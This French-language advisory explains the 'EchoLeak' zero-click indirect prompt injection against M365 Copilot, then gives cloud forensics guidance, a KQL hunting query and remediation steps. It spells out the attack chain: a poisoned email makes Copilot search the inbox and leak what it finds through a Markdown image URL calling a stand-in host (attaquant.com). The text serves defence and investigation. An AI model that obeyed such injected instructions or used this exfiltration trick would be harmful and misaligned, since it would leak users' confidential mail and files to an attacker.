Aller au contenu

CVE-2025-32711 : 'EchoLeak' M365 Copilot (Zero-Click)

Comme détaillé par les chercheurs de Checkmarx et HackTheBox, la CVE-2025-32711 expose les conséquences désastreuses de l’intégration de modèles de langage (LLM) disposant d’un large accès aux données (Microsoft Graph) sans isolation stricte.

EchoLeak exploite une faille dans la manière dont M365 Copilot nettoie les entrées externes avant de les traiter via sa couche d’orchestration interne. En intégrant des instructions malveillantes dans un document d’apparence inoffensive, un attaquant force Copilot à devenir un “Mandataire Confus” (Confused Deputy). Une fois déclenché, l’agent IA abuse de son accès autorisé pour lire les emails, les conversations Teams et les fichiers SharePoint de l’utilisateur, puis les exfiltre silencieusement vers un serveur externe.

La vulnérabilité trouve son origine dans la convergence de deux concepts que nous avons largement documentés dans le Codex : l’Injection de Prompt Indirecte (IPI) et l’absence d’assainissement strict des sorties (Output Sanitization).

Dans un flux de travail Copilot standard, l’IA utilise Microsoft Graph pour récupérer du contexte (RAG) afin d’assister l’utilisateur. EchoLeak militarise cette phase de récupération. L’attaquant conçoit une charge utile qui utilise la manipulation psychologique sur le LLM (ex: lui ordonner d’agir comme un outil de diagnostic) combinée à un vecteur d’exfiltration technique.

Puisque Copilot prend en charge le rendu Markdown dans son interface de chat pour afficher du texte enrichi et des images, les attaquants ont abusé de cette fonctionnalité. Le prompt empoisonné force le LLM à générer une balise d’image Markdown (![alt](https://attaquant.com/log?data=[DONNÉES_EXFILTRÉES])). Lorsque le client web ou de bureau Copilot fait le rendu de cette image invisible, la requête HTTP GET est déclenchée, fuyant ainsi les données sensibles ajoutées en paramètre vers le serveur de l’attaquant.

L’aspect le plus alarmant d’EchoLeak est le vecteur “Zero-Click”. La victime n’a pas besoin de poser explicitement une question à Copilot concernant le document malveillant.

  1. Livraison : l’attaquant envoie un email en apparence inoffensif (ou partage un document SharePoint) contenant la charge utile cachée EchoLeak.
  2. Indexation autonome : la victime ouvre son tableau de bord M365. Copilot scanne de manière autonome les emails récents pour générer le résumé “Rattrapez votre journée” ou des notes de préparation de réunion.
  3. Exécution de la charge : Copilot ingère l’email malveillant. L’injection de prompt intégrée remplace l’instruction de résumé.
  4. Collecte de données : la charge utile ordonne à Copilot d’utiliser son accès à l’API Graph pour rechercher des mots comme “Mot de passe”, “Confidentiel” ou “Financier” dans la boîte de réception de la victime.
  5. Exfiltration silencieuse : Copilot formate les données volées dans une URL d’image Markdown et l’affiche. Le client effectue le rendu de l’image invisible, exécutant l’exfiltration des données via un callback DNS/HTTP.

Étant donné que cette vulnérabilité s’exécute entièrement au sein de l’infrastructure SaaS de Microsoft, les artefacts forensiques traditionnels basés sur l’hôte (comme les dumps mémoire ou les arborescences de processus locales) sont indisponibles. Les analystes DFIR doivent pivoter entièrement vers la forensique Cloud, en ciblant spécifiquement le Journal d’audit unifié (UAL) et Microsoft Purview.

  • Événements d’interaction Copilot : les analystes doivent interroger les événements CopilotInteraction dans l’UAL. Bien que Microsoft censure les prompts exacts pour des raisons de confidentialité, les métadonnées sur l’heure de l’interaction et les fichiers accédés par l’agent Copilot durant cette session sont visibles.
  • Accès anormal à l’API Graph : recherchez des pics d’événements de lecture de l’API Microsoft Graph provenant du compte de service Copilot au nom d’un utilisateur, surtout si ces lectures ciblent des sites SharePoint hautement sensibles immédiatement après la réception d’un email externe par cet utilisateur.

Bien que Microsoft ait corrigé la faille spécifique du rendu Markdown, la menace sous-jacente de l’IPI demeure. Les équipes SOC doivent chasser les comportements anormaux de l’IA.

hunt_echoleak_exfiltration.kql
// Recherche des interactions Copilot suivies de connexions réseau suspectes
// indiquant une potentielle exfiltration de données basée sur Markdown.
let CopilotEvents = CloudAppEvents
| where Application == "Microsoft 365 Copilot"
| where ActionType == "CopilotInteraction"
| project TimeGenerated, AccountObjectId, IPAddress;
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| join kind=inner (CopilotEvents) on $left.InitiatingProcessAccountObjectId == $right.AccountObjectId
// Cherche des connexions réseau se produisant dans les 60 secondes suivant une interaction Copilot
| where datetime_diff('second', TimeGenerated, TimeGenerated1) between (0 .. 60)
// Filtrer les domaines Microsoft légitimes
| where RemoteUrl !contains "microsoft.com" and RemoteUrl !contains "office.com"
| where RemoteUrl contains "=" // Souvent utilisé dans les requêtes d'exfiltration ?data=...
| project TimeGenerated, AccountObjectId, RemoteUrl, RemoteIP
  1. Remédiation fournisseur : Microsoft a mis en place des filtres d’assainissement en bordure de cloud pour bloquer l’exfiltration basée sur Markdown. Aucune correction sur les terminaux n’est requise.
  2. Zero Trust pour l’IA : cet incident prouve que les agents IA ne peuvent pas faire implicitement confiance aux données internes. Les organisations doivent appliquer des étiquettes strictes de prévention des pertes de données (DLP via Microsoft Purview) aux documents sensibles pour empêcher Copilot d’y accéder, atténuant ainsi l’impact de futures vulnérabilités d’agents “Zero-Click”.
  3. Défense contre le Phishing : traitez l’IPI comme un vecteur de phishing hautement avancé. Renforcez les défenses comme détaillées dans le Playbook d’investigation BEC (Business Email Compromise).